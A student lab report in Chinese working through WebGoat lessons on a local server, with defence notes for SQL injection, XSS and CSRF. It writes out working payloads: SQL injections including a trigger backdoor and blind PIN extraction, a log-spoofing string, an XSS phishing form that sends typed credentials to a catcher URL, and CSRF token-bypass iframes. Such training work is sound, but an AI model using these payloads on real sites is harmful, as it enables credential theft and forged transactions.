目录

-0.webgoat Could not find source file

-1.基础问题回答

-2.环境配置

-3.Injection Flaws

----3.1.Numeric SQL Injection

----3.2.Log Spoofing

----3.3.XPATH Injection

----3.4.String SQL Injection

----3.5.LAB: SQL Injection

----3.6.Database Backdoors

----3.7.Blind Numeric SQL Injection

----3.8.Blind String SQL Injection

-4.Cross-Site Scripting (XSS)

----4.1.Phishing with XSS

----4.2.Stored XSS Attacks

----4.3.Reflected XSS Attacks

-5.CSRF

----5.1.Cross Site Request Forgery(CSRF)

----5.2.CSRF Prompt By-Pass

----5.3.CSRF Token By-Pass

-6.实验总结与体会

webgoat Could not find source file

  • 推测问题出在JDK版本上

  • 先确认Kali的JDK版本

  • "9.0.4"这个版本对于WebGoat7.1来说过高了,我们只要把JDK换成1.8就i行了

  • 参照教程按步骤一步一步来即可

基础问题回答

(1)SQL注入攻击原理,如何防御

  • 原理:所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。
  • 防御:
    • 永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和双"-"进行转换等。
    • 永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
    • 永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
    • 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
    • 应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装
    • sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台就有亿思网站安全平台检测工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻击等。

(2)XSS攻击的原理,如何防御

  • 原理:XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
  • 防御:
    • 基于特征的防御:统XSS防御多采用特征匹配方式,在所有提交的信息中都进行匹配检查。对于这种类型的XSS攻击,采用的模式匹配方法一般会需要对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击
    • 基于代码修改的防御:和SQL注入防御一样,XSS攻击也是利用了Web页面的编写疏忽,所以还有一种方法就是从Web应用开发的角度来避免:
      • 对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
      • 实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
      • 确认接收的的内容被妥善的规范化,仅包含最小的、安全的Tag(没有javascript),去掉任何对远程内容的引用(尤其是样式表和javascript),使用HTTP only的cookie。

(3)CSRF攻击原理,如何防御

  • 原理:CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
  • 防御:
    • 对于web站点,将持久化的授权方法(例如cookie或者HTTP授权)切换为瞬时的授权方法(在每个form中提供隐藏field),这将帮助网站防止这些攻击。一种类似的方式是在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
    • “双提交”cookie。此方法只工作于Ajax请求,但它能够作为无需改变大量form的全局修正方法。如果某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。如果服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域,因为其它域是不能从信任域读取cookie的。

环境配置

  • 将webgoat的java包下载好之后,使用命令

    java -jar webgoat-server-8.0.0.M14.jar运行WebGoat

  • 使用浏览器打开http://localhost:8080/WebGoat,进入WebGoat

Injection Flaws

Numeric SQL Injection

  • F12打开浏览器调试模式,通过修改该,Columbia对应值,使得最后传回去的SQL语句变为
SELECT * FROM weather_data WHERE station = 101 OR 1=1
  • 1=1恒成立,即可看到所有城市天气

Log Spoofing

  • 日志伪造,,在Username输入
zh%0d%0aLogin Succeeded for username: admin
  • %0d和%0a为换行符,这样就就伪造了内容为Login Succeeded for username: admin的日志

XPATH Injection

  • 直接构造永真式
20154312' or 1=1 or 'a'='a

String SQL Injection

  • 构造一个永真式注入
zenglin' or '1'='1
  • SQL语句变为
SELECT * FROM user_data WHERE last_name = 'zenglin' OR '1'='1'

LAB: SQL Injection

Stage1:String SQL Injection

  • 这一题就一点小问题,输入框限制了MaxLength,把MaxLength改为一个合适大小之后,修改password=' or'1'='1,done

Stage3:Numeric SQL Injection

  • 和Stage1一样,构造永真式登陆账户,登陆之后修改employee_id参数修改为101 or 1=1 order by salary desc

Database Backdoors

  • 思路就是利用SQL语句注入一个后门,具体操作就是用;将原本填入文本框的语句变为两条SQL语句,实现注入后门的目的

  • 先在User ID输入框输入101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid.这样就实现了传入SQL语句 CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid.实现的功能就是创建新用户时,会自动将email选项填充为我指定的邮箱

Blind Numeric SQL Injection

  • 盲注,顾名思义就是啥都不知道瞎注,主要是看反馈信息来调整我们的输入来实现SQL注入的效果

  • 数字盲注,在Enter your Account Number输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

  • 根据返回的提示来判断“(SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000"通过二分法缩小范围,最后用2364提交成功

Blind String SQL Injection

  • 相同思路,只不过这个是字符串盲注,在Enter your Account Number输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4312431243124312'), 1, 1) = 'h' );根据返回提示判断name,最后输入JiLL,爆破成功

Cross-Site Scripting (XSS)

Phishing with XSS

  • XSS+HTML写一个简单的带表单网站,直接将下面的代码放入输入框,Enter,出现一个登陆框,输入UsernamePassword之后会弹窗相关信息
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br><br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

LAB:Cross Site Scripting

Stage1:

  • 登陆后,点击View profile后,在Street字段输入以下代码:<script>alert("20154327");</script>

Stage3:

  • 使用“David”登录,然后查看“Bruce”的信息,即可执行之前存储好的跨站攻击脚本

Stage5:执行一个反射XSS攻击

  • 登陆后在Search Staff中输入“”

Stored XSS Attacks

  • 存储式XSS攻击,也是最经典的,用过将脚本语句放入留言框存储起来,进行攻击

  • 本题直接在Title里输入任意信息,在 Message里输<script>alert("20154327yangzhenghui!");</script>

  • 再点击留言板内容

Reflected XSS Attacks

  • 反射XSS攻击中,利用脚本制造一个URL提交到另外一个网站,实现攻击,直接在Enter ur three digit access code中输入脚本,实现攻击

CSRF

Cross Site Request Forgery(CSRF)

  • 这是一个发送邮件的页面,我们只需要在Title输入任意信息,在Message输入:<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=5000" width="1" height="1" />点击SubmitMessage List就会出现一条提交的记录

CSRF Prompt By-Pass

  • 一样的思路,Title输入任意信息 ,Message输入:
<iframe
src="attack?Screen=280&menu=900&transferFunds=5000"
id="myFrame" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"
onload="document.getElementById('frame2').src='attack?Screen=280&menu=900&transferFunds=CONFIRM';">
</iframe>
<iframe
id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300">
</iframe>

CSRF Token By-Pass

  • 还是相同的思路,Title输入任意信息,在Message输入代码,submit
<script>
var tokensuffix; function readFrame1()
{
var frameDoc = document.getElementById("frame1").contentDocument;
var form = frameDoc.getElementsByTagName("form")[0];
tokensuffix = '&CSRFToken=' + form.CSRFToken.value; loadFrame2();
} function loadFrame2()
{
var testFrame = document.getElementById("frame2");
testFrame.src="attack?Screen=273&menu=900&transferFunds=5000" + tokensuffix;
}
</script> <iframe src="attack?Screen=273&menu=900&transferFunds=main"
onload="readFrame1();"
id="frame1" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"></iframe> <iframe id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"></iframe>

实验总结与体会

这是最后一次实验了,实验会结束,但是我大概是看不到互联网上的网络攻防结束的那一天,很感谢老师,让我有机会享受一门很纯粹的技术课程。谢谢!

20154312 曾林 EXP9 Web安全基础的更多相关文章

  1. 20154312 曾林 Exp8 web基础

    1.基础问题回答 1.1.什么是表单 1.2.浏览器可以解析运行什么语言 1.3.WebServer支持哪些动态语言 2.实践总结与体会 3.实践过程记录 ----3.1.Web前端:HTML基础 - ...

  2. 20155209 林虹宇 Exp9 Web安全基础

    Exp9 Web安全基础 XSS 1.Phishing with XSS 跨站脚本攻击,在表单中输入超文本代码 在网页中形成一个自制的登陆表单,然后将结果反馈到自己的主机上. 攻击成功 2.Store ...

  3. 20155304 《网络对抗》Exp9 web安全基础实践

    20155304 <网络对抗>Exp9 web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 攻击原理:web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应 ...

  4. 20154312 曾林 Exp3 免杀原理与实践

    20154312 曾林 0.写在前面 AV厂商检测恶意软件的方式主流的就三种: 基于特征码的检测 启发式恶意软件检测 基于行为的恶意软件检测 我们要做的就是让我们的恶意软件没法被这三种方式找到,也就是 ...

  5. 20155208徐子涵《网络对抗》Exp9 Web安全基础

    20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目 ...

  6. 20155312 张竞予 Exp9 Web安全基础

    Exp9 Web安全基础 目录 基础问题回答 (1)SQL注入攻击原理,如何防御 (2)XSS攻击的原理,如何防御 (3)CSRF攻击原理,如何防御 实践过程记录 WebGoat准备工作 1.XSS攻 ...

  7. Exp9 Web安全基础

    Exp9 Web安全基础 20154305 齐帅 一.实验要求 本实践的目标理解常用网络攻击技术的基本原理. Webgoat实践下相关实验: [目录] [第一部分 WebGoat 8.0] 1.Web ...

  8. 20155205 郝博雅 Exp9 Web安全基础

    20155205 郝博雅 Exp9 Web安全基础 一.实验内容 一共做了13个题目. 1.WebGoat 输入java -jar webgoat-container-7.1-exec.jar 在浏览 ...

  9. 20155339 Exp9 Web安全基础

    Exp9 Web安全基础 基础问题回答 (1)SQL注入攻击原理,如何防御 原理:它是利用现有应用程序,将恶意的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入恶意SQL语句得到 ...

随机推荐

  1. Unity3D笔记 切水果三 切水果

    一.创建一个Apple00,拖拽Prfabs下的Sprite命名为Apple00,添加碰撞器Box Collider,编写代码Knife Rey1.js 二.做被切的苹果 步骤和一是一样的,但是被切的 ...

  2. NodeJS 实现基于 token 的认证应用

    此段摘自 http://zhuanlan.zhihu.com/FrontendMagazine/19920223 英文原文 http://code.tutsplus.com/tutorials/tok ...

  3. iOS - 沙盒机制(SandBox)和获取沙盒路径

    iOSAPP可以在自己的沙盒里读写文件,但是,不可以访问其他APP的沙盒.每一个APP都是一个信息孤岛,相互是不可以进行通信的,唯独可以通过URLScheme.沙盒里面的文件可以是照片.声音文件.文本 ...

  4. Sciter TIScript KeyEvent

    function movable() // install movable window handler{ function onKeyDown(evt) { if(evt.keyCode == Ev ...

  5. CBV之详解

    一,CBV,基于反射实现根据请求方式不同,执行不同的方法. 1. 开发模式 - 普通开发方式(前后端放在一起写) - 前后端分离 2. 后端开发 为前端提供URL(API/接口的开发) 注:永远返回H ...

  6. hdu6390GuGuFishtion【数论】

    GuGuFishtion Time Limit: 3000/1500 MS (Java/Others)    Memory Limit: 65536/65536 K (Java/Others) Tot ...

  7. hadoop(角色)各个组件配置信息

    1)namenode:        core-site.xml文件中决定:            <property>                <name>fs.def ...

  8. Lost connection to MySQL server during query ([Errno 104] Connection reset by peer)

    Can't connect to MySQL server Lost connection to MySQL server during query · Issue #269 · PyMySQL/Py ...

  9. 21.5.3 Updatable and Insertable Views

    http://dev.mysql.com/doc/refman/5.7/en/view-updatability.html Some views are updatable and reference ...

  10. 图论最短路——dijkstra

    下午直接开始dijkstra的堆优化,很简单的这里把书上的原理说一下吧,小心和prim最小生成树的堆优化迷,Dijkstra算法基于贪心思想,它只适用于所有边都是非负数的图.当变长z都是非负数的时候, ...